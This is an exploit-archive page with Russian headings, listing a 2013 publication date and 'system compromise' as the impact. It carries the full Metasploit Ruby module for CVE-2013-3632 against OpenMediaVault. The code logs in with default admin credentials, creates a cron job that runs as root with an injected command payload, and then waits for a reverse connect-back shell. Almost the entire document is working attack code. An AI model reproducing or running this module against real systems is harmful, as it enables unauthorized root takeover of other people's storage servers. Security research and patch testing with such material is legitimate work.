OpenMediaVault Cron Remote Command Execution Exploit

Свойства

Дата публикации:
06.11.2013
Цель:
OpenMediaVault
Тип воздействия:
Компрометация системы

Код

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => 'OpenMediaVault Cron Remote Command Execution',
      'Description'    => %q{
      OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
      An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-3632'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => true,
      'DefaultOptions' => { 'WfsDelay' => 60 },
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic perl ruby bash telnet python',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Oct 30 2013',
      'DefaultTarget'  => 0
    ))
 
    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
    ], self.class)
  end
 
  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })
 
    sess = init.get_cookies
    post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
 
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })
 
    if !login or login.code != 200
      fail_with("Login failed")
    end
 
    sess = login.get_cookies
    post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
    post << payload.encoded.gsub('"', '\"')
    post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
 
    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })
 
    if !resp or resp.code != 200
      fail_with("Posting cron failed.")
    end
 
    print_status("Waiting for connect-back, this will take up to a minute")
  end
end
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